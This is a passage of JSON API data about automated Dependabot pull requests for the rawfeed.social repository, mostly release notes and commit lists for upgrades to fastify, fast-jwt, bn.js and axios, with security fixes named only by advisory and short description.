minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/ozziest/rawfeed.social/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/ozziest/rawfeed.social/pull/96","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/ozziest%2Frawfeed.social/issues/96","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/96/packages"},{"uuid":"4233754586","node_id":"PR_kwDOLCnFzc7RM01F","number":677,"state":"closed","title":"build(deps): bump the npm_and_yarn group across 2 directories with 4 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-04-12T10:26:29.000Z","author_association":null,"state_reason":null,"created_at":"2026-04-09T17:01:17.000Z","updated_at":"2026-04-12T10:26:31.000Z","time_to_close":235512,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"build(deps): bump","group_name":"npm_and_yarn","update_count":4,"packages":[{"name":"fastify","old_version":"5.8.1","new_version":"5.8.3","repository_url":"https://github.com/fastify/fastify"},{"name":"fast-jwt","old_version":"6.1.0","new_version":"6.2.1","repository_url":"https://github.com/nearform/fast-jwt"},{"name":"bn.js","old_version":"4.12.2","new_version":"4.12.3"},{"name":"axios","old_version":"1.6.7","new_version":"1.13.5","repository_url":"https://github.com/axios/axios"}],"path":null,"ecosystem":"npm"},"body":"Bumps the npm_and_yarn group with 2 updates in the /backend directory: [fastify](https://github.com/fastify/fastify) and [fast-jwt](https://github.com/nearform/fast-jwt).\nBumps the npm_and_yarn group with 1 update in the /backend/tools/cloudbuild-watcher directory: [axios](https://github.com/axios/axios).\n\nUpdates `fastify` from 5.8.1 to 5.8.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/fastify/fastify/releases\"\u003efastify's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.8.3\u003c/h2\u003e\n\u003ch2\u003e⚠️ Security Release\u003c/h2\u003e\n\u003cp\u003eThis fixes CVE CVE-2026-3635 \u003ca href=\"https://github.com/fastify/fastify/security/advisories/GHSA-444r-cwp2-x5xf\"\u003ehttps://github.com/fastify/fastify/security/advisories/GHSA-444r-cwp2-x5xf\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003edocs(readme): add \u003ca href=\"https://github.com/Tony133\"\u003e\u003ccode\u003e@​Tony133\u003c/code\u003e\u003c/a\u003e to plugin team by \u003ca href=\"https://github.com/Tony133\"\u003e\u003ccode\u003e@​Tony133\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6565\"\u003efastify/fastify#6565\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eUpdated Plugins-Guide.md; Changed \u0026quot;fastify\u0026quot; to \u0026quot;instance\u0026quot; during plugin registration to showcase that it's added as a child by \u003ca href=\"https://github.com/kyrylchenko\"\u003e\u003ccode\u003e@​kyrylchenko\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6566\"\u003efastify/fastify#6566\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003etest: use fastify.test in test case by \u003ca href=\"https://github.com/climba03003\"\u003e\u003ccode\u003e@​climba03003\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6568\"\u003efastify/fastify#6568\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: use fastify.example in documentation by \u003ca href=\"https://github.com/climba03003\"\u003e\u003ccode\u003e@​climba03003\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6567\"\u003efastify/fastify#6567\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: add common performance degradation guidance by \u003ca href=\"https://github.com/maxpetrusenko\"\u003e\u003ccode\u003e@​maxpetrusenko\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6520\"\u003efastify/fastify#6520\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs(server): fix camelCase anchor links in TOC by \u003ca href=\"https://github.com/Deepvamja\"\u003e\u003ccode\u003e@​Deepvamja\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6530\"\u003efastify/fastify#6530\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci(link-checker): fix root-relative links resolution by \u003ca href=\"https://github.com/barba-rossa\"\u003e\u003ccode\u003e@​barba-rossa\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6535\"\u003efastify/fastify#6535\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: update syntax markdown, absolute paths and links by \u003ca href=\"https://github.com/Tony133\"\u003e\u003ccode\u003e@​Tony133\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6569\"\u003efastify/fastify#6569\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: clarify content-type parser/schema mismatch is outside threat model by \u003ca href=\"https://github.com/mcollina\"\u003e\u003ccode\u003e@​mcollina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6537\"\u003efastify/fastify#6537\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: fix incorrect code examples in Reply and Request reference by \u003ca href=\"https://github.com/mahmoodhamdi\"\u003e\u003ccode\u003e@​mahmoodhamdi\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6582\"\u003efastify/fastify#6582\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: replace redirected npm.im http-errors link by \u003ca href=\"https://github.com/mcollina\"\u003e\u003ccode\u003e@​mcollina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6588\"\u003efastify/fastify#6588\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003etypes: Allow port to be null in request type definition by \u003ca href=\"https://github.com/TristanBarlow\"\u003e\u003ccode\u003e@​TristanBarlow\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6589\"\u003efastify/fastify#6589\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: update links by \u003ca href=\"https://github.com/Tony133\"\u003e\u003ccode\u003e@​Tony133\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6593\"\u003efastify/fastify#6593\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci(lock-threads): use shared lock-threads workflow by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6592\"\u003efastify/fastify#6592\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kyrylchenko\"\u003e\u003ccode\u003e@​kyrylchenko\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6566\"\u003efastify/fastify#6566\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/maxpetrusenko\"\u003e\u003ccode\u003e@​maxpetrusenko\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6520\"\u003efastify/fastify#6520\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Deepvamja\"\u003e\u003ccode\u003e@​Deepvamja\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6530\"\u003efastify/fastify#6530\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/barba-rossa\"\u003e\u003ccode\u003e@​barba-rossa\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6535\"\u003efastify/fastify#6535\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mahmoodhamdi\"\u003e\u003ccode\u003e@​mahmoodhamdi\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6582\"\u003efastify/fastify#6582\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TristanBarlow\"\u003e\u003ccode\u003e@​TristanBarlow\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6589\"\u003efastify/fastify#6589\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/fastify/fastify/compare/v5.8.2...v5.8.3\"\u003ehttps://github.com/fastify/fastify/compare/v5.8.2...v5.8.3\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev5.8.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003edocs(ecosystem): add \u003ccode\u003e@​yeliex/fastify-problem-details\u003c/code\u003e by \u003ca href=\"https://github.com/yeliex\"\u003e\u003ccode\u003e@​yeliex\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6546\"\u003efastify/fastify#6546\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRevert \u0026quot;chore: upgrade borp to v1.0.0\u0026quot; by \u003ca href=\"https://github.com/climba03003\"\u003e\u003ccode\u003e@​climba03003\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6564\"\u003efastify/fastify#6564\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: document body validation with custom content type parsers by \u003ca href=\"https://github.com/mcollina\"\u003e\u003ccode\u003e@​mcollina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6556\"\u003efastify/fastify#6556\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs(ecosystem): add fastify-file-router by \u003ca href=\"https://github.com/bhouston\"\u003e\u003ccode\u003e@​bhouston\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6441\"\u003efastify/fastify#6441\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: add fastify-svelte-view to Ecosystem list by \u003ca href=\"https://github.com/matths\"\u003e\u003ccode\u003e@​matths\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6453\"\u003efastify/fastify#6453\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: anchor keyValuePairsReg to prevent quadratic backtracking by \u003ca href=\"https://github.com/mcollina\"\u003e\u003ccode\u003e@​mcollina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6558\"\u003efastify/fastify#6558\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: added note on handling of invalid URLs in setNotFoundHandler by \u003ca href=\"https://github.com/leftieFriele\"\u003e\u003ccode\u003e@​leftieFriele\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/5661\"\u003efastify/fastify#5661\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs(guides): update codemod links by \u003ca href=\"https://github.com/OluchiEzeifedikwa\"\u003e\u003ccode\u003e@​OluchiEzeifedikwa\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6479\"\u003efastify/fastify#6479\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: add \u003ccode\u003e@​glidemq/fastify\u003c/code\u003e to community plugins by \u003ca href=\"https://github.com/avifenesh\"\u003e\u003ccode\u003e@​avifenesh\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6560\"\u003efastify/fastify#6560\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/yeliex\"\u003e\u003ccode\u003e@​yeliex\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6546\"\u003efastify/fastify#6546\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/matths\"\u003e\u003ccode\u003e@​matths\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6453\"\u003efastify/fastify#6453\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/leftieFriele\"\u003e\u003ccode\u003e@​leftieFriele\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/5661\"\u003efastify/fastify#5661\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/OluchiEzeifedikwa\"\u003e\u003ccode\u003e@​OluchiEzeifedikwa\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6479\"\u003efastify/fastify#6479\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/avifenesh\"\u003e\u003ccode\u003e@​avifenesh\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6560\"\u003efastify/fastify#6560\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/a3e77ce171516e95f0c28ce60b9e5228a4c42fe4\"\u003e\u003ccode\u003ea3e77ce\u003c/code\u003e\u003c/a\u003e Bumped v5.8.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/4e1db5bd0012ccf63a49ff105a63e25981b9a747\"\u003e\u003ccode\u003e4e1db5b\u003c/code\u003e\u003c/a\u003e fix: gate host and protocol getters on proxy trust function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/a22217f9420f70017a419d8e18b2a3141ab27989\"\u003e\u003ccode\u003ea22217f\u003c/code\u003e\u003c/a\u003e ci(lock-threads): use shared lock-threads workflow (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6592\"\u003e#6592\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/1851f208e72be06ca419f2000dea63e540ff1ab0\"\u003e\u003ccode\u003e1851f20\u003c/code\u003e\u003c/a\u003e docs: update links (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6593\"\u003e#6593\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/9cc5187be2dc7c38fd68d0d43541f16ed6d1e1ad\"\u003e\u003ccode\u003e9cc5187\u003c/code\u003e\u003c/a\u003e types: Allow port to be null in request type definition (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6589\"\u003e#6589\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/722d83b0632387b853b218ae3a7da40cc46e2677\"\u003e\u003ccode\u003e722d83b\u003c/code\u003e\u003c/a\u003e docs: replace redirected npm.im http-errors link (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6588\"\u003e#6588\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/a1413de2033b2b00dc1d3563d4f00a7e15ceab2d\"\u003e\u003ccode\u003ea1413de\u003c/code\u003e\u003c/a\u003e docs: fix incorrect code examples in Reply and Request reference (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6582\"\u003e#6582\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/d7f01b600811172d7f7023bccc5e96583159202b\"\u003e\u003ccode\u003ed7f01b6\u003c/code\u003e\u003c/a\u003e docs: clarify content-type parser/schema mismatch is outside threat model (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6\"\u003e#6\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/a0649e92e93c1ad8b164020f61be5d5fa287d506\"\u003e\u003ccode\u003ea0649e9\u003c/code\u003e\u003c/a\u003e docs: update syntax markdown, absolute paths and links (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6569\"\u003e#6569\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/d4779155286ea1d31c24dba1e90d7d478909382b\"\u003e\u003ccode\u003ed477915\u003c/code\u003e\u003c/a\u003e ci(link-checker): fix root-relative links resolution (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6535\"\u003e#6535\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/fastify/fastify/compare/v5.8.1...v5.8.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `fast-jwt` from 6.1.0 to 6.2.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nearform/fast-jwt/releases\"\u003efast-jwt's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.2.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix/regex non deterministic validation by \u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/593\"\u003enearform/fast-jwt#593\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: GHSA-cjw9-ghj4-fwxf CVE-2026-35041 ReDoS when using RegExp in allowed options by \u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/595\"\u003enearform/fast-jwt#595\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.2.0...v6.2.1\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.2.0...v6.2.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.2.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 24.10.4 to 25.0.2 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/575\"\u003enearform/fast-jwt#575\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: complete patch for GHSA-mvf2-f6gm-w987 and \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/586\"\u003e#586\u003c/a\u003e by \u003ca href=\"https://github.com/dcs-soni\"\u003e\u003ccode\u003e@​dcs-soni\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/598\"\u003enearform/fast-jwt#598\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix acceptance of unknown crit headers and comply with RFC 7515 by \u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/591\"\u003enearform/fast-jwt#591\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: cache confusion risk with composite-key approach by \u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/587\"\u003enearform/fast-jwt#587\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dcs-soni\"\u003e\u003ccode\u003e@​dcs-soni\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/598\"\u003enearform/fast-jwt#598\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/591\"\u003enearform/fast-jwt#591\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.1.0...v6.2.0\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.1.0...v6.2.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/6b13fe96614a38613d453f46ba0631c4cd09dcd8\"\u003e\u003ccode\u003e6b13fe9\u003c/code\u003e\u003c/a\u003e Release v6.2.1 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/600\"\u003e#600\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/b0be0ca161593836a153d5180ca5358ad9b5de94\"\u003e\u003ccode\u003eb0be0ca\u003c/code\u003e\u003c/a\u003e fix: GHSA-cjw9-ghj4-fwxf CVE-2026-35041 ReDoS when using RegExp in allowed op...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/18d25904e4617e8753526d1b3ab5a2cccdea726a\"\u003e\u003ccode\u003e18d2590\u003c/code\u003e\u003c/a\u003e Fix/regex non deterministic validation (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/593\"\u003e#593\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/e07b1fd23f02a47f1be677a21a4f07607b478e66\"\u003e\u003ccode\u003ee07b1fd\u003c/code\u003e\u003c/a\u003e Release v6.2.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/599\"\u003e#599\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/de121056c6415b58770c60640881eaec67ac4ceb\"\u003e\u003ccode\u003ede12105\u003c/code\u003e\u003c/a\u003e fix: cache confusion risk with composite-key approach (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/587\"\u003e#587\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/80b49c73cf708701e1e3da7c16ef735789cb269c\"\u003e\u003ccode\u003e80b49c7\u003c/code\u003e\u003c/a\u003e fix acceptance of unknown crit headers and comply with RFC 7515 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/591\"\u003e#591\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/597c4b6e6af3bd823f624debdaa7f57fa92b1e2d\"\u003e\u003ccode\u003e597c4b6\u003c/code\u003e\u003c/a\u003e fix: complete patch for GHSA-mvf2-f6gm-w987 and \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/586\"\u003e#586\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/598\"\u003e#598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/0ff14a687b9af786bd3ffa870d6febe6e1f13aaa\"\u003e\u003ccode\u003e0ff14a6\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 24.10.4 to 25.0.2 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/575\"\u003e#575\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.1.0...v6.2.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `bn.js` from 4.12.2 to 4.12.3\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/indutny/bn.js/commit/39fe4389c773327ed15f29f77f8b7dbbff4beb4c\"\u003e\u003ccode\u003e39fe438\u003c/code\u003e\u003c/a\u003e 4.12.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/indutny/bn.js/commit/67ecb35dabaf252001b649c12d69c4b57deac6f6\"\u003e\u003ccode\u003e67ecb35\u003c/code\u003e\u003c/a\u003e backport(4.x): fix imaskn state (\u003ca href=\"https://redirect.github.com/indutny/bn.js/issues/317\"\u003e#317\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/indutny/bn.js/compare/v4.12.2...v4.12.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `axios` from 1.6.7 to 1.13.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/axios/axios/releases\"\u003eaxios's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev1.13.5\u003c/h2\u003e\n\u003ch2\u003eRelease 1.13.5\u003c/h2\u003e\n\u003ch3\u003eHighlights\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eSecurity:\u003c/strong\u003e Fixed a potential \u003cstrong\u003eDenial of Service\u003c/strong\u003e issue involving the \u003ccode\u003e__proto__\u003c/code\u003e key in \u003ccode\u003emergeConfig\u003c/code\u003e. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7369\"\u003e#7369\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eBug fix:\u003c/strong\u003e Resolved an issue where \u003ccode\u003eAxiosError\u003c/code\u003e could be missing the \u003ccode\u003estatus\u003c/code\u003e field on and after \u003cstrong\u003ev1.13.3\u003c/strong\u003e. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7368\"\u003e#7368\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanges\u003c/h3\u003e\n\u003ch4\u003eSecurity\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eFix Denial of Service via \u003ccode\u003e__proto__\u003c/code\u003e key in \u003ccode\u003emergeConfig\u003c/code\u003e. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7369\"\u003e#7369\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003eFixes\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eFix/5657. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7313\"\u003e#7313\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003estatus\u003c/code\u003e is present in \u003ccode\u003eAxiosError\u003c/code\u003e on and after v1.13.3. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7368\"\u003e#7368\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003eFeatures / Improvements\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eAdd input validation to \u003ccode\u003eisAbsoluteURL\u003c/code\u003e. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7326\"\u003e#7326\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRefactor: bump minor package versions. (PR \u003ca 